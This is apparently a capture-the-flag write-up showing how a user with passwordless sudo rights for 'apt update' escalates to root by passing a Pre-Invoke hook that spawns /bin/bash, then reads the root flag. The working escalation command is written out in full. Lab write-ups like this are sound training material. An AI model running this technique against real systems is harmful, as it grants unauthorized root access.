Overview
The final objective is to escalate our privileges from user3 to root.
Reconnaissance
Running sudo -l reveals that we can run sudo apt update as root without a password.
Exploitation Strategy
APT supports configuration overrides on the command line. Specifically, we can hook into the Pre-Invoke configuration parameter which executes commands before running the actual update. We pass a shell execution directive:
sudo apt update -o APT::Update::Pre-Invoke::=/bin/bashThis triggers a shell wrapper to run as root before the apt indexing starts, giving us a fully root shell.
Solution Code
sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
# We get root shell:
id -> uid=0(root)
cat /root/flag.txtFlag
Dynamic Flag (Root Flag)